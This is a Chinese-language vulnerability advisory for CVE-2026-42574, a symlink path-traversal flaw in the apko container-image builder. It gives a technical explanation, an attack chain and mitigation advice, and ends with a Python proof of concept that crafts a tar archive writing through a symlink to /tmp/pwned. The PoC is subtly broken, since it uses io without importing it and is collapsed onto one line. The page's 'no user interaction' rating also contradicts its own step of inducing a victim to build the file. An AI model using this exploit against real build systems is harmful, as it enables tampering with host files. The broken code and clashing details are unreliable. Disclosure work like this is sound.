IPBUF安全漏洞报告
English
CVE-2026-42574 CVSS 7.5 高危

CVE-2026-42574 apko 路径遍历漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-42574
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
apko

相关标签

路径遍历apkoSymlink容器安全CVE-2026-42574

漏洞概述

apko是用于从apk包构建OCI容器镜像的工具。在0.14.8至1.2.5之前的版本中存在路径遍历漏洞。攻击者可构建特制的.apk文件,植入指向构建根目录外部的符号链接。随后,通过同一或后续归档中的目录创建或文件写入条目,攻击者可利用该符号链接遍历至构建用户拥有写入权限的主机路径。此漏洞可能被用于篡改主机文件或植入恶意代码,严重威胁系统完整性。官方已在1.2.5版本中修复此问题。

技术细节

该漏洞源于apko在处理tar归档文件(.apk)时,对符号链接的处理逻辑存在缺陷。具体原理是:攻击者可以在恶意.apk包中精心构造一个TypeSymlink类型的条目,该符号链接的目标指向构建根目录之外的主机路径。当apko解压此条目时,若未对目标路径进行严格的边界检查,就会在构建目录下创建该符号链接。紧接着,攻击者在同一归档中放置一个文件写入条目,其路径通过上述符号链接进行解析。由于apko在执行文件写入操作时,未能识别出解析后的最终路径已跳出沙箱范围,导致文件内容被成功写入到主机系统的任意位置。这种攻击方式无需用户交互,且通过网络即可触发,具有较高的安全风险。

攻击链分析

STEP 1
1. 构造恶意文件
攻击者创建特制的.apk文件,其中包含指向构建根目录外部的符号链接条目。
STEP 2
2. 诱导构建
攻击者诱导受害者或CI/CD系统使用apko处理该恶意.apk文件。
STEP 3
3. 解压符号链接
apko在解压过程中,未做有效校验即创建了指向外部路径的符号链接。
STEP 4
4. 路径遍历写入
apko继续解压后续文件,利用符号链接将文件内容写入到主机系统的敏感路径。
STEP 5
5. 完成攻击
攻击者在主机上成功写入恶意文件,可能劫持系统或破坏完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os # Create a malicious tar file (simulating crafted .apk) filename = "exploit.apk" # 1. Create a symlink entry pointing outside the build root (e.g., /tmp) link = tarfile.TarInfo(name="path/to/evil_link") link.type = tarfile.SYMTYPE link.linkname = "/tmp/pwned" # Target outside root # 2. Create a file entry that writes through the symlink file_content = b"MALICIOUS CONTENT" file_entry = tarfile.TarInfo(name="path/to/evil_link/malicious.txt") file_entry.size = len(file_content) with tarfile.open(filename, "w") as tar: tar.addfile(link) tar.addfile(file_entry, io.BytesIO(file_content)) print(f"Created {filename}. When apko extracts this, it writes to /tmp/pwned/malicious.txt")

影响范围

apko >= 0.14.8, < 1.2.5

防御指南

临时缓解措施
在无法立即升级的情况下,应严格限制构建环境的文件系统权限,确保构建用户仅拥有构建目录的最小写入权限,避免向系统关键目录写入。同时,避免处理来源不明的.apk包。

参考链接